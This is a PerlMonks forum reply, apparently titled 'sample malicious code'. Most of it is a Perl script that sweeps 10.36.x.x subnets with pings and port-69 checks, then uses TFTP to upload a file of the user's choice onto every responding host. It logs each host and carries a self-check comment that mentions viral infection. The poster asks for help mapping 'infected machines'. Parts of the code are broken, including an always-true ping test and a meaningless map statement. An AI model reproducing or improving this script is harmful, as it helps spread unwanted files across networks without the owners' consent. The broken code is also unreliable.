Beefy Boxes and Bandwidth Generously Provided by pair Networks Frank
laziness, impatience, and hubris
 
PerlMonks  

Comment on

( #3333=superdoc: print w/ replies, xml ) Need Help??

I just write a short message that may be related to malicious code. this text is written without the creation of the map of infected machines

#!/usr/bin/perl -w use strict; use warnings; use Net::TFTP; use Net::Ping; use Data::Dumper; use FileHandle; BEGIN { local $/; open (ME,$0); my $me = <ME>; close ME; unless ($me =~ m/#fakessh \@='\d+'$/) { my $length = length $me; open (ME, ">>$0"); print ME "#fakessh \@='$length'"; close ME; $me .= "#fakessh \@='$length'"; } $me =~ s/#fakessh \@='(\d+)'$//; die "File $0 has changed ?viral infection?\n" unless $1 == length +$me; } my $filename = $ARGV[0]; my $lastlogping = $ARGV[1]; usage() unless $filename; usage() unless $lastlogping; my $RESEAU; my $IP; my $tftp; my $port = 69; my %state; my $state; my $ip; my $ping; my $alive; my $sock; my %alive; my $pingerping; my $pingersocktftp; my $transfertftp; my $i; my $scalarlocaltime; my @map; autoflush STDOUT 1; for ($RESEAU = 2; $RESEAU <= 210; $RESEAU=$RESEAU+1) { for ($IP = 2; $IP < 255; $IP = $IP+1) { if ("10.36.".$RESEAU.".".$IP) { $scalarlocaltime = scalar localtime; my $p = Net::Ping->new('udp'); print "\nPinging host 10.36.$RESEAU.$IP\n"; if ($p->ping("10.36.$RESEAU.$IP"),1) { ## If we didn't know it was up, spew that out now.. $pingerping = 1; $pingersocktftp = 0;$transfertftp = 0; print "10.36.$RESEAU.$IP\twas up at ", scalar localtime, "\n" +unless $state{$scalarlocaltime}{$pingerping}{$pingersocktftp}{10.36.$ +RESEAU.$IP}; ## Update the number of times we've seen it up $state{$scalarlocaltime}{$pingerping}{$pingersocktftp}{$trans +fertftp}{10.36.$RESEAU.$IP}++; ## And let STDOUT know about it, too. ##print "alive $scalarlocaltime $pingerping $pingersocktftp 10 +.36.$RESEAU.$IP time"; } my$sock=IO::Socket::INET->new( PeerAddr=>"10.36.$RESEAU.$IP", + PeerPort=>"$port", Proto=>"tcp", Timeout=>"5") or warn "Cannot connect port 69 to 10.36.$RESEAU.$IP\n"; if (defined $sock) { $pingersocktftp = 1; } ## Update the number of times we've seen it up $state{$scalarlocaltime}{$pingerping}{$pingersocktftp}{$transfert +ftp}{10.36.$RESEAU.$IP}++; ## And let STDOUT know about it, too. ##print " alive ($pingerping $pingersocktftp 10.36.$RESEAU.$IP",s +calar localtime; $state{$scalarlocaltime}{$pingerping}{$pingersocktftp}{$transfer +tftp}{alive} = "10.36.$RESEAU.$IP"; ##make log map if (defined ($sock )){ $tftp = Net::TFTP->new("10.36.$RESEAU.$IP", BlockSize => 102 +4) or warn "cannot connect tftp serveur\n"; if (defined ($tftp)){ $transfertftp = 1; ## Update the number of times we've seen it up $state{$scalarlocaltime}{$pingerping}{$pingersocktftp}{$transfer +tftp}{10.36.$RESEAU.$IP}++; ## And let STDOUT know about it, too. print "$state $scalarlocaltime $pingerping $pingersocktftp 10. +36.$RESEAU.$IP transfert start"; $tftp->binary; $tftp->put($filename,$filename); } } my $fh = FileHandle->new($lastlogping , "a"); if (defined($fh)){ print $fh " alive $scalarlocaltime $pingerping $pingersocktftp + $transfertftp 10.36.$RESEAU.$IP\n"; undef $fh; } } } } @map = map { $_ => ${state{$_}{$_}{$_}{$_}{$_}}} %state; sub usage { ## HERE documents are your friend for this kind of thing: print <<"EO_USAGE"; This program scans a C-class subnet and lists all machines, before with a udp ping after with a simple nmap scan and last try to upload via a client tftp You can also use this program to sort the output. Usage: perl $0 <file_to_transfer> <log_file_ping_ip> EO_USAGE exit; } #fakessh @='3715'

I tried to encode a kind of card machines with instruction

@map = map { $_ => ${state{$_}{$_}{$_}{$_}{$_}}} %state;

when do you think? how it would be easier and the right technique to encode both the card to look inside information

it is the best technique you can give me an example


In reply to sample malicious code by swilting

Title:
Use:  <p> text here (a paragraph) </p>
and:  <code> code here </code>
to format your post; it's "PerlMonks-approved HTML":



  • Posts are HTML formatted. Put <p> </p> tags around your paragraphs. Put <code> </code> tags around your code and data!
  • Read Where should I post X? if you're not absolutely sure you're posting in the right place.
  • Please read these before you post! —
  • Posts may use any of the Perl Monks Approved HTML tags:
    a, abbr, b, big, blockquote, br, caption, center, col, colgroup, dd, del, div, dl, dt, em, font, h1, h2, h3, h4, h5, h6, hr, i, ins, li, ol, p, pre, readmore, small, span, spoiler, strike, strong, sub, sup, table, tbody, td, tfoot, th, thead, tr, tt, u, ul, wbr
  • Outside of code tags, you may need to use entities for some characters:
            For:     Use:
    & &amp;
    < &lt;
    > &gt;
    [ &#91;
    ] &#93;
  • Link using PerlMonks shortcuts! What shortcuts can I use for linking?
  • See Writeup Formatting Tips and other pages linked from there for more info.
  • Log In?
    Username:
    Password:

    What's my password?
    Create A New User
    Chatterbox?
    and the web crawler heard nothing...

    How do I use this? | Other CB clients
    Other Users?
    Others exploiting the Monastery: (15)
    As of 2014-04-18 17:20 GMT
    Sections?
    Information?
    Find Nodes?
    Leftovers?
      Voting Booth?

      April first is:







      Results (471 votes), past polls